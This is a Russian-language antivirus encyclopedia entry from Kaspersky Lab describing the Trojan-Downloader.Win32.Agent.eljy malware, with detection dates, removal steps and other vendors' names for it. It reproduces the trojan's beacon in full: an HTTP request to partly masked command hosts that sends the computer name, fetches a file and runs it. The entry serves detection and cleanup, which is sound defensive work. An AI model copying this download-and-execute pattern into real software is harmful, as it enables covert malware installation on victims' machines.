RSS-каналы
Уровень опасности: 1
Trojan-Downloader.Win32.Agent.eljy
| Время детектирования | 31 авг 2010 19:09 MSK |
| Время выпуска обновления | 01 сен 2010 02:51 MSK |
| Описание опубликовано | 22 мар 2011 15:42 MSK |
Деструктивная активность
Рекомендации по удалению
Технические детали
Троянская программа, загружающая файлы из сети Интернет без ведома пользователя и запускающая их. Является приложением Windows (PE-EXE файл). Имеет размер 29696 байт. Упакована UPX. Распакованный размер – около 48 КБ. Написана на C++.
Деструктивная активность
После запуска троянец в цикле с интервалом в 60 секунд выполняет следующие действия:
- устанавливает соединение с хостами:
ccoo***o.cc cccoo***o.cc
- В случае если соединение успешно установлено на указанные хосты отправляется HTTP-запрос вида:
GET favicon.ico HTTP/1.1 Host: bcProxyBot.com Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg Accept-Language: en-us UA-CPU: x86 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.2.2.1) Cookie: 000C29CBBE24<имя компьютера>
- В ответ на данный запрос с сервера отправляется файл, который троянец сохраняет в каталоге хранения временных файлов текущего пользователя "%Temp%" под случайным именем. После успешной загрузки файл запускается на выполнение.
Рекомендации по удалению
Если ваш компьютер не был защищен антивирусом и оказался заражен данной вредоносной программой, то для её удаления необходимо выполнить следующие действия:
- При помощи Диспетчера задач завершить троянский процесс.
- Удалить загруженные троянцем файлы в каталоге "%Temp%".
- Удалить оригинальный файл троянца (его расположение на зараженном компьютере зависит от способа, которым программа попала на компьютер).
- Очистить каталог Temporary Internet Files, который может содержать инфицированные файлы (Как удалить инфицированные файлы в папке Temporary Internet Files?).
- Произвести полную проверку компьютера Антивирусом Касперского с обновленными антивирусными базами (скачать пробную версию).
Вредоносная программа, предназначенная для несанкционированной пользователем загрузки и установки на компьютер-жертву новых версий вредоносных программ, установки троянцев или рекламных систем. Загруженные из интернета программы затем либо запускаются на выполнение, либо регистрируются троянцем на автозагрузку в соответствии с возможностями операционной системы.
Информация об именах и расположении загружаемых программ содержится в коде и данных троянца или скачивается троянцем с «управляющего» интернет-ресурса (обычно, с веб-страницы).
Данный тип вредоносных программ в последнее время стал часто использоваться для первоначального заражения посетителей заражённых веб-страниц, содержащих эксплойты.
Trojan-Downloader.
- Mal/Zbot-U (Sophos)
- Trj/Krap.
Y (Panda) - Trojan:
Win32/Orsam!rts (MS(OneCare)) - Win32/Kryptik.
GQM trojan (Nod32) - Trojan.
Generic. KDV. 32568 (BitDef7) - Trojan.
DL. Agent!0/uynReaUDU (VirusBuster) - Win32:
Malware-gen (AVAST) - Trojan-Dropper.
Agent (Ikarus) - Downloader.
Agent2. ABSK (AVG) - Downloader (NAV)
- W32/Suspicious_Gen2.
BYIDB (Norman) - Trojan-Downloader.
Win32. Agent. eljy [AVP] (FSecure) - Trojan.
DL. Agent!0/uynReaUDU (VirusBusterBeta)
© ЗАО «Лаборатория Касперского», 1997-2012
Ведущий производитель систем защиты от вирусов, спама и хакерских атак
Зарегистрированные товарные знаки и знаки обслуживания являются собственностью их правообладателей